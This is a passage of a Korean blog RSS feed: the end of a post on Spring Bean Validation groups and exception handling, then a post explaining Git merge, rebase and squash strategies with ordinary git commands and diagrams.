&lt;pre id=&quot;code_1628350395171&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Data
public class Test1 {

    @NotBlank(message = &quot;공백X&quot;, groups = {Test1Check.class, Test2Check.class})
    String name;

    @Max(value = 1000, message = &quot;1000 초과 X&quot;, groups = {Test1Check.class})
    Integer age;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;그리고 Controller에서는 아래처럼 @Validated 어노테이션에 수행할 validation 어노테이션에 등록된 인터페이스를 명시해준다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1628350411257&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@RestController
@Slf4j
@RequiredArgsConstructor
public class ValidateTestController {

    @GetMapping(&quot;/validate&quot;)
    public Object validateTestV2(@Validated(Test2Check.class) @ModelAttribute Test1 test1, BindingResult bindingResult) {
        if(bindingResult.hasErrors()) {
            return bindingResult.getFieldErrors();
        }
        return &quot;success&quot;;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;위 코드는 &lt;b&gt;Test2Check 인터페이스가 등록된 Validation 어노테이션을 검증&lt;/b&gt;하라는 뜻이다. 즉, age 속성에 등록된 @Max 어노테이션 검증은 수행되지 않는다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;마지막으로 검증 에러가 발생하면 BindException 예외가 발생하는데 @ControllerAdvise를 이용해 커스텀 Response를 보내는 코드는 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1628352645906&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@ControllerAdvice
public class ControllerExceptionHandler {
    @ExceptionHandler(BindException.class)
    public ResponseEntity&amp;lt;String&amp;gt; bindExceptionHandler(BindException e) {
        return new ResponseEntity&amp;lt;&amp;gt;(
                e.getFieldErrors().stream()
                        .map(fe -&amp;gt; fe.getField() + &quot; &quot; + fe.getRejectedValue() + &quot; &quot; + fe.getDefaultMessage())
                        .collect(Collectors.joining(&quot;, &quot;))
                , HttpStatus.BAD_REQUEST);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp;위와 같이 BindException이 걸렸을 경우 필드와 입력값 메시지를 출력하고 BadRequest(400)을 보내게끔 했다. 결과는 아래와 같다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;360&quot; data-origin-height=&quot;26&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TJDVL/btrbuI89BuZ/vX1jH7bPqQhJb4siFHQVgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TJDVL/btrbuI89BuZ/vX1jH7bPqQhJb4siFHQVgK/img.png&quot; data-alt=&quot;name, age 모두 검증 에러 발생했을 때 결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TJDVL/btrbuI89BuZ/vX1jH7bPqQhJb4siFHQVgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTJDVL%2FbtrbuI89BuZ%2FvX1jH7bPqQhJb4siFHQVgK%2Fimg.png&quot; data-origin-width=&quot;360&quot; data-origin-height=&quot;26&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;name, age 모두 검증 에러 발생했을 때 결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;참고&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a href=&quot;https://meetup.toast.com/posts/223&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://meetup.toast.com/posts/223&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%8A%A4%ED%94%84%EB%A7%81-mvc-2/dashboard&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%8A%A4%ED%94%84%EB%A7%81-mvc-2/dashboard&lt;/a&gt; 인프런 스프링 MVC 2편 - 백엔드 웹 개발 활용 기술(김영한 개발자님)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>스프링</category>
      <category>Bean Validation</category>
      <category>validation</category>
      <category>Validation 예제</category>
      <category>스프링</category>
      <category>스프링 검증</category>
      <author>Awdsd</author>
      <guid isPermaLink="true">https://cjw-awdsd.tistory.com/50</guid>
      <comments>https://cjw-awdsd.tistory.com/50#entry50comment</comments>
      <pubDate>Sat, 7 Aug 2021 23:59:46 +0900</pubDate>
    </item>
    <item>
      <title>[Git] Branch 병합 전략(Merge, Rebase, Squash) 개념/예제</title>
      <link>https://cjw-awdsd.tistory.com/49</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이번 포스팅에서는&amp;nbsp; Git 브랜치 병합 전략에 대해 포스팅하려 한다. 평소에 Git을 사용하며 Merge만 거의 사용해서 브랜치를 합쳤는데 이렇게 하니 히스토리가 지저분해진 것을 보고 Rebase와 Squash에 대해 제대로 알고 사용하고자 정리해놓으려한다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;브랜치 병합 전략에는 3가지가 있다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;1. Merge&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;2. Rebase Merge&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3. Squash Merge&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;1. Merge&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;먼저 가장 기본 병합 방법인 Merge에 대해 알아보자.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Merge에는 여러가지 방식이 있지만 크게는 &lt;b&gt;두가지의&lt;/b&gt; 방식이 많이 사용된다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;Fast-Forward&lt;/b&gt;&lt;br /&gt;&lt;b&gt;3-Way-Merge&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;Fast-Forward&lt;br /&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 아래의 Commit 히스토리를 보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;228&quot; data-origin-height=&quot;84&quot; width=&quot;299&quot; height=&quot;110&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/o6PEh/btq79eYDBTH/HxFIjfZR8KMjbLQEqbwNzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/o6PEh/btq79eYDBTH/HxFIjfZR8KMjbLQEqbwNzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/o6PEh/btq79eYDBTH/HxFIjfZR8KMjbLQEqbwNzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fo6PEh%2Fbtq79eYDBTH%2FHxFIjfZR8KMjbLQEqbwNzk%2Fimg.png&quot; data-origin-width=&quot;228&quot; data-origin-height=&quot;84&quot; width=&quot;299&quot; height=&quot;110&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;master 브랜치에서 생성된 A 브랜치가 두 번의 Commit을 한 상태이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 상태에서 A 브랜치를 master에 Merge를 한다면 master의 위치가 A로 바로 이동하는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;240&quot; data-origin-height=&quot;77&quot; width=&quot;302&quot; height=&quot;97&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cTQwQE/btq8a6Y73YA/H7RKZp2I9zjxxGSrpmj3LK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cTQwQE/btq8a6Y73YA/H7RKZp2I9zjxxGSrpmj3LK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cTQwQE/btq8a6Y73YA/H7RKZp2I9zjxxGSrpmj3LK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcTQwQE%2Fbtq8a6Y73YA%2FH7RKZp2I9zjxxGSrpmj3LK%2Fimg.png&quot; data-origin-width=&quot;240&quot; data-origin-height=&quot;77&quot; width=&quot;302&quot; height=&quot;97&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;이처럼 A브랜치를 Merge할 때 &lt;b&gt;조상 브랜치인 Master에 변경점이 없다면&lt;/b&gt; Master브랜치를 바로 A브랜치로 이동해서 Merge하는 것을 &lt;b&gt;Fast-Forward&lt;/b&gt;라 한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;3-Way-Merge&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 Fast-Forward랑 다르게 아래처럼 A브랜치와 Master 브랜치 둘다 변경사항이 있을 경우에 Merge하는 가장 일반적으로 경우이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;240&quot; data-origin-height=&quot;132&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Zrbak/btq8a6rh1nC/ruBmxFx8FOWJ0WtR5Nx6k0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Zrbak/btq8a6rh1nC/ruBmxFx8FOWJ0WtR5Nx6k0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Zrbak/btq8a6rh1nC/ruBmxFx8FOWJ0WtR5Nx6k0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZrbak%2Fbtq8a6rh1nC%2FruBmxFx8FOWJ0WtR5Nx6k0%2Fimg.png&quot; data-origin-width=&quot;240&quot; data-origin-height=&quot;132&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 상태에서 A브랜치를 master브랜치에 Merge하면 아래와 같은 결과가 나온다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;344&quot; data-origin-height=&quot;155&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bK6NwD/btq78d7dgH5/tfg6UQBgm7BInAcSj4MRl0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bK6NwD/btq78d7dgH5/tfg6UQBgm7BInAcSj4MRl0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bK6NwD/btq78d7dgH5/tfg6UQBgm7BInAcSj4MRl0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbK6NwD%2Fbtq78d7dgH5%2Ftfg6UQBgm7BInAcSj4MRl0%2Fimg.png&quot; data-origin-width=&quot;344&quot; data-origin-height=&quot;155&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;3-Way-Merge는 각 브랜치의 최신 Commit과&amp;nbsp;공통 조상(Base) 커밋 ('A1 생성') 을 비교하고 새로운 Commit을 만들어 Merge하는 전략이다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 표는 3-Way-Merge의 Merge 과정이다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style8&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;A 브랜치&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;Base&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;master 브랜치&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;Merge&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;Code1 변경&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;Code1&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;Code1&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;A 브랜치 Code1 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;Code2&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;Code2&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;Code2 변경&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;master 브랜치 Code2 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;Code3 변경&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;Code3&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;Code3 변경&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;충돌(Conflict) 발생&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 표를 보면 조상(Base) Commit 기준으로 A 브랜치에서 Code1을 변경하고 master 브랜치에서 변경을 안했으면 A의 작업이 반영되고, 그 반대인 master 브랜치가 작업한 Code3도 반영된다. 하지만 Code2는 A, master 모두 변경했기 떄문에 충돌 가능성이 생긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 비교 과정을 거쳐 dev 브랜치의 작업내용이 Merge Commit에서 적용되어 master에 Merge된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Merge의 특징은 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;변경 내용의 커밋 내역이 모두 그대로 남는다.&lt;/li&gt;
&lt;li&gt;Merge시 Merge Commit이 새로 생긴다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 특징때문에 불필요한 Commit 내역(Merge Commit)이 생겨 히스토리가 지저분해져서 협업 과정에서 Commit 확인에 불편함이 생긴다.(수십명이 하나의 Git 저장소를 사용하고 모두가 Merge를 사용한다면...)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 이러한 문제를 해결할 방법이 이 다음에 살펴볼 Rebase이다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. Rebase&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Rebase란 공통 base(조상)를 가진 두 브랜치에서 하나의 브랜치의 base를 다른 브랜치의 최신 Commit을 base로 하게끔 재정렬 하는 것을 의미한다. 빠르게 예제를 보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;470&quot; data-origin-height=&quot;262&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bj0Kty/btq79X9PJVo/dIvifvuEqKdyuoUReHPF4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bj0Kty/btq79X9PJVo/dIvifvuEqKdyuoUReHPF4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bj0Kty/btq79X9PJVo/dIvifvuEqKdyuoUReHPF4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbj0Kty%2Fbtq79X9PJVo%2FdIvifvuEqKdyuoUReHPF4K%2Fimg.png&quot; data-origin-width=&quot;470&quot; data-origin-height=&quot;262&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 처럼 dev, master 브랜치의 공통 base('dev4')커밋에서 dev, master 브랜치가 작업을 했다고 가정하자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 상태에서 dev를 master에 merge하면 master 브랜치에 merge Commit이 하나 생기면서 Merge가 될 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 &lt;b&gt;dev 브랜치를 master 브랜치에 Rebase&lt;/b&gt;를 하게 될 경우 base('dev4')부터 dev branch의 Commit(&lt;b&gt;'dev5', 'dev6'&lt;/b&gt;)을 master branch의 다음 Commit으로 재정렬 한다.&lt;/p&gt;
&lt;pre id=&quot;code_1624619841656&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ git checkout dev
$ git rebase master&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;428&quot; data-origin-height=&quot;260&quot; width=&quot;326&quot; height=&quot;198&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I7IOG/btq79pZ7B3f/WQ8ZPjDkRbLJf0apKxDYn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I7IOG/btq79pZ7B3f/WQ8ZPjDkRbLJf0apKxDYn1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I7IOG/btq79pZ7B3f/WQ8ZPjDkRbLJf0apKxDYn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI7IOG%2Fbtq79pZ7B3f%2FWQ8ZPjDkRbLJf0apKxDYn1%2Fimg.png&quot; data-origin-width=&quot;428&quot; data-origin-height=&quot;260&quot; width=&quot;326&quot; height=&quot;198&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Rebase를 수행하면 위처럼 master 브랜치에 dev 브랜치 Commit이 정렬된것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주의할 점은 master 브랜치의 위치이다. 아직 master 브랜치에서는 dev 브랜치 내역을 Merge 한것이 아니기 때문에 master 브랜치에서 dev 브랜치를 &lt;b&gt;Fast-Forward-Merge &lt;/b&gt;해야 한다.&lt;/p&gt;
&lt;pre id=&quot;code_1624619925154&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ git checkout master
$ git merge dev&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;560&quot; data-origin-height=&quot;256&quot; width=&quot;354&quot; height=&quot;162&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZT9GU/btq8a6SyG0P/snR02qkpLGIAVSFQ5RJrT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZT9GU/btq8a6SyG0P/snR02qkpLGIAVSFQ5RJrT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZT9GU/btq8a6SyG0P/snR02qkpLGIAVSFQ5RJrT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZT9GU%2Fbtq8a6SyG0P%2FsnR02qkpLGIAVSFQ5RJrT0%2Fimg.png&quot; data-origin-width=&quot;560&quot; data-origin-height=&quot;256&quot; width=&quot;354&quot; height=&quot;162&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;Rebase를 수행할 경우 Merge와 다르게 Merge Commit이 생기지않는다. 하나의 브랜치에서 작업한 것처럼 보이므로 히스토리를 간결하게 하고 싶을 때 사용한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 Rebase를 통해 Merge Commit을 만들지 않고 히스토리를 깔끔하게 유지 할 수 있게되었다. 하지만 더 나아가 내가 작업한 Commit이 너무 많아 지저분해 보인다면 어떡할까? 이에 대한 해결방법에는 &lt;b&gt;&lt;span data-token-index=&quot;1&quot; data-reactroot=&quot;&quot;&gt;Squash&lt;/span&gt;&lt;/b&gt;가 있다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. Squash&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Git Squash는 &lt;span data-token-index=&quot;1&quot; data-reactroot=&quot;&quot;&gt;여러개의&lt;/span&gt; Commit을 &lt;span data-token-index=&quot;3&quot; data-reactroot=&quot;&quot;&gt;하나의&lt;/span&gt; Commit으로 만들어준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;238&quot; data-origin-height=&quot;106&quot; width=&quot;368&quot; height=&quot;164&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Hoan0/btq789crpW0/Pl3oISdIrJdINH4tPBbhV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Hoan0/btq789crpW0/Pl3oISdIrJdINH4tPBbhV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Hoan0/btq789crpW0/Pl3oISdIrJdINH4tPBbhV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHoan0%2Fbtq789crpW0%2FPl3oISdIrJdINH4tPBbhV1%2Fimg.png&quot; data-origin-width=&quot;238&quot; data-origin-height=&quot;106&quot; width=&quot;368&quot; height=&quot;164&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dev 브랜치의 'dev squash', ''dev14', 'dev15' Commit을 합쳐보자. Squash를 하려면 Rebase에 -i 옵션을 이용해야한다.&lt;/p&gt;
&lt;pre id=&quot;code_1624620052512&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ git rebase -i [CommitID] &lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 명령어를 사용할 시 입력한 Commit Hash 다음 Commit 내역들이 표시되게 된다.&lt;/p&gt;
